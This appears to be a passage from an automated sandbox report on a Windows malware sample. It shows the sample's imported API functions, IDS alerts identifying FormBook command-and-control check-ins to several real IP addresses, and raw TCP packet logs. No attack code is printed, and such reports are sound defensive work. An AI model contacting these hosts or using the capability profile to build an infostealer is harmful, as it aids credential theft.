GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, VirtualAlloc, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, ResetEvent, WaitForSingleObjectEx, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, CloseHandle, GetFullPathNameW, GetStartupInfoW, GetSystemTimeAsFileTime, InitializeSListHead, RtlUnwind, SetLastError, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, ResumeThread, FreeLibraryAndExitThread, GetACP, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetStringTypeW, GetFileType, SetStdHandle, GetConsoleCP, GetConsoleMode, ReadConsoleW, GetTimeZoneInformation, FindFirstFileExW, IsValidCodePage, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableA, SetCurrentDirectoryW, FindNextFileW, WriteConsoleW
USER32.dll	GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, PeekMessageW, GetInputState, UnregisterHotKey, CharLowerBuffW, MonitorFromPoint, MonitorFromRect, LoadImageW, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, ClientToScreen, GetCursorPos, DeleteMenu, CheckMenuRadioItem, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, LockWindowUpdate, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, RegisterHotKey, GetCursorInfo, SetWindowPos, CopyImage, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, TrackPopupMenuEx, GetMessageW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, DispatchMessageW, keybd_event, TranslateMessage, ScreenToClient
GDI32.dll	EndPath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, GetDeviceCaps, SetPixel, CloseFigure, LineTo, AngleArc, MoveToEx, Ellipse, CreateCompatibleBitmap, CreateCompatibleDC, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, SelectObject, StretchBlt, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, CreateDCW, GetPixel, DeleteDC, GetDIBits, StrokePath
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, FreeSid, GetTokenInformation, RegCreateKeyExW, GetSecurityDescriptorDacl, GetAclInformation, GetUserNameW, AddAce, SetSecurityDescriptorDacl, InitiateSystemShutdownExW
SHELL32.dll	DragFinish, DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket
OLEAUT32.dll	CreateStdDispatch, CreateDispTypeInfo, UnRegisterTypeLib, UnRegisterTypeLibForUser, RegisterTypeLibForUser, RegisterTypeLib, LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, VariantChangeType, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, SysStringLen, QueryPathOfRegTypeLib, SysAllocString, VariantInit, VariantClear, DispCallFunc, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, SafeArrayDestroyDescriptor, VariantCopy, OleLoadPicture

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-14T10:24:28.619902+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49223	13.248.169.48	80	TCP
2025-01-14T10:24:53.839685+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	57319	206.119.82.172	80	TCP
2025-01-14T10:24:56.387302+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	57320	206.119.82.172	80	TCP
2025-01-14T10:24:58.924134+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	57327	206.119.82.172	80	TCP
2025-01-14T10:25:01.443609+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	57343	206.119.82.172	80	TCP
2025-01-14T10:25:07.096702+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	57374	67.223.117.142	80	TCP
2025-01-14T10:25:09.625077+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	57395	67.223.117.142	80	TCP
2025-01-14T10:25:12.197696+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	57411	67.223.117.142	80	TCP
2025-01-14T10:25:14.747221+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	57427	67.223.117.142	80	TCP
2025-01-14T10:25:20.684968+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	57463	162.0.215.244	80	TCP
2025-01-14T10:25:23.176391+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	57479	162.0.215.244	80	TCP
2025-01-14T10:25:25.619691+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	57496	162.0.215.244	80	TCP
2025-01-14T10:25:28.132064+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	57512	162.0.215.244	80	TCP
2025-01-14T10:25:33.752152+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	57544	3.33.130.190	80	TCP
2025-01-14T10:25:36.292105+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	57557	3.33.130.190	80	TCP
2025-01-14T10:25:38.843157+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	57570	3.33.130.190	80	TCP
2025-01-14T10:25:41.405894+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	57583	3.33.130.190	80	TCP
2025-01-14T10:25:55.782922+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	57600	38.47.233.52	80	TCP
2025-01-14T10:25:58.319121+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	57601	38.47.233.52	80	TCP
2025-01-14T10:26:00.896051+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	57602	38.47.233.52	80	TCP
2025-01-14T10:26:03.413361+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	57603	38.47.233.52	80	TCP
2025-01-14T10:26:08.910903+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	57604	104.21.3.193	80	TCP
2025-01-14T10:26:12.082025+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	57605	104.21.3.193	80	TCP
2025-01-14T10:26:14.006169+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	57606	104.21.3.193	80	TCP
2025-01-14T10:26:16.567525+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	57607	104.21.3.193	80	TCP
2025-01-14T10:26:22.054349+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	57608	3.33.130.190	80	TCP
2025-01-14T10:26:24.615122+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	57609	3.33.130.190	80	TCP
2025-01-14T10:26:27.168370+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	57610	3.33.130.190	80	TCP
2025-01-14T10:26:29.699619+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	57611	3.33.130.190	80	TCP
2025-01-14T10:26:36.262702+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	57612	20.244.96.65	80	TCP
2025-01-14T10:26:38.809818+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	57613	20.244.96.65	80	TCP
2025-01-14T10:26:41.356459+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	57614	20.244.96.65	80	TCP
2025-01-14T10:26:43.767121+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	57615	20.244.96.65	80	TCP
2025-01-14T10:26:57.375175+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	57616	84.32.84.32	80	TCP
2025-01-14T10:26:59.898580+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	57617	84.32.84.32	80	TCP
2025-01-14T10:27:02.468302+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	57618	84.32.84.32	80	TCP
2025-01-14T10:27:05.120371+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	57619	84.32.84.32	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 10:24:20.973649025 CET	49221	53	192.168.2.4	1.1.1.1
Jan 14, 2025 10:24:20.978554010 CET	53	49221	1.1.1.1	192.168.2.4
Jan 14, 2025 10:24:20.978636980 CET	49221	53	192.168.2.4	1.1.1.1
Jan 14, 2025 10:24:20.983422041 CET	53	49221	1.1.1.1	192.168.2.4
Jan 14, 2025 10:24:21.454375029 CET	49221	53	192.168.2.4	1.1.1.1
Jan 14, 2025 10:24:21.459791899 CET	53	49221	1.1.1.1	192.168.2.4
Jan 14, 2025 10:24:21.459999084 CET	49221	53	192.168.2.4	1.1.1.1
Jan 14, 2025 10:24:28.138590097 CET	49223	80	192.168.2.4	13.248.169.48
Jan 14, 2025 10:24:28.143562078 CET	80	49223	13.248.169.48	192.168.2.4
Jan 14, 2025 10:24:28.143663883 CET	49223	80	192.168.2.4	13.248.169.48
Jan 14, 2025 10:24:28.150047064 CET	49223	80	192.168.2.4	13.248.169.48
Jan 14, 2025 10:24:28.154962063 CET	80	49223	13.248.169.48	192.168.2.4
Jan 14, 2025 10:24:28.619780064 CET	80	49223	13.248.169.48	192.168.2.4
Jan 14, 2025 10:24:28.619827032 CET	80	49223	13.248.169.48	192.168.2.4
Jan 14, 2025 10:24:28.619901896 CET	49223	80	192.168.2.4	13.248.169.48
Jan 14, 2025 10:24:28.622289896 CET	49223	80	192.168.2.4	13.248.169.48
Jan 14, 2025 10:24:28.627151012 CET	80	49223	13.248.169.48	192.168.2.4
Jan 14, 2025 10:24:34.520750046 CET	57314	53	192.168.2.4	162.159.36.2
Jan 14, 2025 10:24:34.525805950 CET	53	57314	162.159.36.2	192.168.2.4
Jan 14, 2025 10:24:34.525878906 CET	57314	53	192.168.2.4	162.159.36.2
Jan 14, 2025 10:24:34.530762911 CET	53	57314	162.159.36.2	192.168.2.4
Jan 14, 2025 10:24:35.000288963 CET	57314	53	192.168.2.4	162.159.36.2
Jan 14, 2025 10:24:35.005728960 CET	53	57314	162.159.36.2	192.168.2.4
Jan 14, 2025 10:24:35.005819082 CET	57314	53	192.168.2.4	162.159.36.2
Jan 14, 2025 10:24:52.908379078 CET	57319	80	192.168.2.4	206.119.82.172
Jan 14, 2025 10:24:52.914700985 CET	80	57319	206.119.82.172	192.168.2.4
Jan 14, 2025 10:24:52.914937973 CET	57319	80	192.168.2.4	206.119.82.172
Jan 14, 2025 10:24:52.923654079 CET	57319	80	192.168.2.4	206.119.82.172
Jan 14, 2025 10:24:52.929033995 CET	80	57319	206.119.82.172	192.168.2.4
Jan 14, 2025 10:24:53.838659048 CET	80	57319	206.119.82.172	192.168.2.4
Jan 14, 2025 10:24:53.839509010 CET	80	57319	206.119.82.172	192.168.2.4
Jan 14, 2025 10:24:53.839684963 CET	57319	80	192.168.2.4	206.119.82.172
Jan 14, 2025 10:24:54.434679031 CET	57319	80	192.168.2.4	206.119.82.172
Jan 14, 2025 10:24:55.452377081 CET	57320	80	192.168.2.4	206.119.82.172
Jan 14, 2025 10:24:55.458559036 CET	80	57320	206.119.82.172	192.168.2.4
Jan 14, 2025 10:24:55.458652020 CET	57320	80	192.168.2.4	206.119.82.172
Jan 14, 2025 10:24:55.466136932 CET	57320	80	192.168.2.4	206.119.82.172
Jan 14, 2025 10:24:55.472027063 CET	80	57320	206.119.82.172	192.168.2.4
Jan 14, 2025 10:24:56.386970043 CET	80	57320	206.119.82.172	192.168.2.4
Jan 14, 2025 10:24:56.387101889 CET	80	57320	206.119.82.172	192.168.2.4
Jan 14, 2025 10:24:56.387301922 CET	57320	80	192.168.2.4	206.119.82.172
Jan 14, 2025 10:24:56.981517076 CET	57320	80	192.168.2.4	206.119.82.172
Jan 14, 2025 10:24:58.000243902 CET	57327	80	192.168.2.4	206.119.82.172
Jan 14, 2025 10:24:58.005382061 CET	80	57327	206.119.82.172	192.168.2.4
Jan 14, 2025 10:24:58.005481958 CET	57327	80	192.168.2.4	206.119.82.172
Jan 14, 2025 10:24:58.014214039 CET	57327	80	192.168.2.4	206.119.82.172
Jan 14, 2025 10:24:58.019145012 CET	80	57327	206.119.82.172	192.168.2.4
Jan 14, 2025 10:24:58.019215107 CET	80	57327	206.119.82.172	192.168.2.4
Jan 14, 2025 10:24:58.019244909 CET	80	57327	206.119.82.172	192.168.2.4
Jan 14, 2025 10:24:58.019279957 CET	80	57327	206.119.82.172	192.168.2.4
Jan 14, 2025 10:24:58.019306898 CET	80	57327	206.119.82.172	192.168.2.4
Jan 14, 2025 10:24:58.019378901 CET	80	57327	206.119.82.172	192.168.2.4
Jan 14, 2025 10:24:58.019407988 CET	80	57327	206.119.82.172	192.168.2.4
Jan 14, 2025 10:24:58.019435883 CET	80	57327	206.119.82.172	192.168.2.4
Jan 14, 2025 10:24:58.019463062 CET	80	57327	206.119.82.172	192.168.2.4
Jan 14, 2025 10:24:58.923877954 CET	80	57327	206.119.82.172	192.168.2.4
Jan 14, 2025 10:24:58.924072981 CET	80	57327	206.119.82.172	192.168.2.4
Jan 14, 2025 10:24:58.924134016 CET	57327	80	192.168.2.4	206.119.82.172
Jan 14, 2025 10:24:59.528309107 CET	57327	80	192.168.2.4	206.119.82.172
Jan 14, 2025 10:25:00.547172070 CET	57343	80	192.168.2.4	206.119.82.172
Jan 14, 2025 10:25:00.552978039 CET	80	57343	206.119.82.172	192.168.2.4
Jan 14, 2025 10:25:00.553060055 CET	57343	80	192.168.2.4	206.119.82.172
Jan 14, 2025 10:25:00.558845043 CET	57343	80	192.168.2.4	206.119.82.172
Jan 14, 2025 10:25:00.563997984 CET	80	57343	206.119.82.172	192.168.2.4
Jan 14, 2025 10:25:01.443435907 CET	80	57343	206.119.82.172	192.168.2.4
Jan 14, 2025 10:25:01.443540096 CET	80	57343	206.119.82.172	192.168.2.4
Jan 14, 2025 10:25:01.443608999 CET	57343	80	192.168.2.4	206.119.82.172
Jan 14, 2025 10:25:01.445863008 CET	57343	80	192.168.2.4	206.119.82.172
Jan 14, 2025 10:25:01.450696945 CET	80	57343	206.119.82.172	192.168.2.4
Jan 14, 2025 10:25:06.474091053 CET	57374	80	192.168.2.4	67.223.117.142
Jan 14, 2025 10:25:06.479039907 CET	80	57374	67.223.117.142	192.168.2.4
Jan 14, 2025 10:25:06.479099035 CET	57374	80	192.168.2.4	67.223.117.142
Jan 14, 2025 10:25:06.500929117 CET	57374	80	192.168.2.4	67.223.117.142
Jan 14, 2025 10:25:06.505894899 CET	80	57374	67.223.117.142	192.168.2.4
Jan 14, 2025 10:25:07.096520901 CET	80	57374	67.223.117.142	192.168.2.4
Jan 14, 2025 10:25:07.096652985 CET	80	57374	67.223.117.142	192.168.2.4
Jan 14, 2025 10:25:07.096702099 CET	57374	80	192.168.2.4	67.223.117.142
Jan 14, 2025 10:25:08.012649059 CET	57374	80	192.168.2.4	67.223.117.142
Jan 14, 2025 10:25:09.032473087 CET	57395	80	192.168.2.4	67.223.117.142
Jan 14, 2025 10:25:09.037623882 CET	80	57395	67.223.117.142	192.168.2.4
Jan 14, 2025 10:25:09.037734032 CET	57395	80	192.168.2.4	67.223.117.142
Jan 14, 2025 10:25:09.049071074 CET	57395	80	192.168.2.4	67.223.117.142
Jan 14, 2025 10:25:09.053925037 CET	80	57395	67.223.117.142	192.168.2.4
Jan 14, 2025 10:25:09.624825954 CET	80	57395	67.223.117.142	192.168.2.4
Jan 14, 2025 10:25:09.624847889 CET	80	57395	67.223.117.142	192.168.2.4
Jan 14, 2025 10:25:09.625077009 CET	57395	80	192.168.2.4	67.223.117.142
Jan 14, 2025 10:25:10.559571028 CET	57395	80	192.168.2.4	67.223.117.142
Jan 14, 2025 10:25:11.577552080 CET	57411	80	192.168.2.4	67.223.117.142
Jan 14, 2025 10:25:11.582812071 CET	80	57411	67.223.117.142	192.168.2.4
Jan 14, 2025 10:25:11.582943916 CET	57411	80	192.168.2.4	67.223.117.142
Jan 14, 2025 10:25:11.594302893 CET	57411	80	192.168.2.4	67.223.117.142
Jan 14, 2025 10:25:11.599221945 CET	80	57411	67.223.117.142	192.168.2.4
Jan 14, 2025 10:25:11.599376917 CET	80	57411	67.223.117.142	192.168.2.4
Jan 14, 2025 10:25:11.599406958 CET	80	57411	67.223.117.142	192.168.2.4
Jan 14, 2025 10:25:11.599457979 CET	80	57411	67.223.117.142	192.168.2.4
Jan 14, 2025 10:25:11.599486113 CET	80	57411	67.223.117.142	192.168.2.4
Jan 14, 2025 10:25:11.599514008 CET	80	57411	67.223.117.142	192.168.2.4
Jan 14, 2025 10:25:11.599544048 CET	80	57411	67.223.117.142	192.168.2.4
Jan 14, 2025 10:25:11.599570990 CET	80	57411	67.223.117.142	192.168.2.4
Jan 14, 2025 10:25:11.599597931 CET	80	57411	67.223.117.142	192.168.2.4
Jan 14, 2025 10:25:12.197561979 CET	80	57411	67.223.117.142	192.168.2.4
Jan 14, 2025 10:25:12.197628975 CET	80	57411	67.223.117.142	192.168.2.4
Jan 14, 2025 10:25:12.197695971 CET	57411	80	192.168.2.4	67.223.117.142
Jan 14, 2025 10:25:13.106992006 CET	57411	80	192.168.2.4	67.223.117.142
Jan 14, 2025 10:25:14.130462885 CET	57427	80	192.168.2.4	67.223.117.142
Jan 14, 2025 10:25:14.135502100 CET	80	57427	67.223.117.142	192.168.2.4
Jan 14, 2025 10:25:14.135600090 CET	57427	80	192.168.2.4	67.223.117.142
Jan 14, 2025 10:25:14.141410112 CET	57427	80	192.168.2.4	67.223.117.142
Jan 14, 2025 10:25:14.146339893 CET	80	57427	67.223.117.142	192.168.2.4
Jan 14, 2025 10:25:14.747024059 CET	80	57427	67.223.117.142	192.168.2.4
Jan 14, 2025 10:25:14.747080088 CET	80	57427	67.223.117.142	192.168.2.4
Jan 14, 2025 10:25:14.747220993 CET	57427	80	192.168.2.4	67.223.117.142
Jan 14, 2025 10:25:14.750025988 CET	57427	80	192.168.2.4	67.223.117.142
Jan 14, 2025 10:25:14.754856110 CET	80	57427	67.223.117.142	192.168.2.4
Jan 14, 2025 10:25:19.785536051 CET	57463	80	192.168.2.4	162.0.215.244
Jan 14, 2025 10:25:19.790707111 CET	80	57463	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:19.790924072 CET	57463	80	192.168.2.4	162.0.215.244
Jan 14, 2025 10:25:19.805500031 CET	57463	80	192.168.2.4	162.0.215.244
Jan 14, 2025 10:25:19.810570002 CET	80	57463	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:20.684838057 CET	80	57463	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:20.684899092 CET	80	57463	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:20.684932947 CET	80	57463	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:20.684968948 CET	80	57463	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:20.684967995 CET	57463	80	192.168.2.4	162.0.215.244
Jan 14, 2025 10:25:20.685003996 CET	80	57463	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:20.685024977 CET	57463	80	192.168.2.4	162.0.215.244
Jan 14, 2025 10:25:20.690743923 CET	80	57463	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:20.690819979 CET	57463	80	192.168.2.4	162.0.215.244
Jan 14, 2025 10:25:21.309588909 CET	57463	80	192.168.2.4	162.0.215.244
Jan 14, 2025 10:25:22.330528975 CET	57479	80	192.168.2.4	162.0.215.244
Jan 14, 2025 10:25:22.336030006 CET	80	57479	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:22.336183071 CET	57479	80	192.168.2.4	162.0.215.244
Jan 14, 2025 10:25:22.349761009 CET	57479	80	192.168.2.4	162.0.215.244
Jan 14, 2025 10:25:22.354626894 CET	80	57479	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:23.176243067 CET	80	57479	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:23.176279068 CET	80	57479	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:23.176295996 CET	80	57479	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:23.176311970 CET	80	57479	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:23.176328897 CET	80	57479	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:23.176345110 CET	80	57479	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:23.176361084 CET	80	57479	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:23.176390886 CET	57479	80	192.168.2.4	162.0.215.244
Jan 14, 2025 10:25:23.176469088 CET	57479	80	192.168.2.4	162.0.215.244
Jan 14, 2025 10:25:23.176469088 CET	57479	80	192.168.2.4	162.0.215.244
Jan 14, 2025 10:25:23.856693983 CET	57479	80	192.168.2.4	162.0.215.244
Jan 14, 2025 10:25:24.876127005 CET	57496	80	192.168.2.4	162.0.215.244
Jan 14, 2025 10:25:24.881040096 CET	80	57496	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:24.882359028 CET	57496	80	192.168.2.4	162.0.215.244
Jan 14, 2025 10:25:24.897861958 CET	57496	80	192.168.2.4	162.0.215.244
Jan 14, 2025 10:25:24.902899981 CET	80	57496	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:24.902916908 CET	80	57496	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:24.902935028 CET	80	57496	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:24.902947903 CET	80	57496	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:24.903131008 CET	80	57496	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:24.903143883 CET	80	57496	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:24.903156042 CET	80	57496	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:24.903171062 CET	80	57496	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:24.903212070 CET	80	57496	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:25.619617939 CET	80	57496	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:25.619640112 CET	80	57496	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:25.619654894 CET	80	57496	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:25.619671106 CET	80	57496	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:25.619688034 CET	80	57496	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:25.619690895 CET	57496	80	192.168.2.4	162.0.215.244
Jan 14, 2025 10:25:25.619704962 CET	80	57496	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:25.619734049 CET	57496	80	192.168.2.4	162.0.215.244
Jan 14, 2025 10:25:25.619759083 CET	57496	80	192.168.2.4	162.0.215.244
Jan 14, 2025 10:25:26.430810928 CET	57496	80	192.168.2.4	162.0.215.244
Jan 14, 2025 10:25:27.438740969 CET	57512	80	192.168.2.4	162.0.215.244
Jan 14, 2025 10:25:27.443844080 CET	80	57512	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:27.443928957 CET	57512	80	192.168.2.4	162.0.215.244
Jan 14, 2025 10:25:27.452646017 CET	57512	80	192.168.2.4	162.0.215.244
Jan 14, 2025 10:25:27.457494974 CET	80	57512	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:28.131764889 CET	80	57512	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:28.131808996 CET	80	57512	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:28.131839991 CET	80	57512	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:28.131874084 CET	80	57512	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:28.131905079 CET	80	57512	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:28.131937981 CET	80	57512	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:28.131969929 CET	80	57512	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:28.132004023 CET	80	57512	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:28.132035017 CET	80	57512	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:28.132064104 CET	57512	80	192.168.2.4	162.0.215.244
Jan 14, 2025 10:25:28.132069111 CET	80	57512	162.0.215.244	192.168.2.4
Jan 14, 2025 10:25:28.132064104 CET	57512	80	192.168.2.4	162.0.215.244
Jan 14, 2025 10:25:28.132064104 CET	57512	80	192.168.2.4	162.0.215.244
Jan 14, 2025 10:25:28.132064104 CET	57512	80	192.168.2.4	162.0.215.244
Jan 14, 2025 10:25:28.132101059 CET	80	57512	162.0.215.244	192.168.2.4
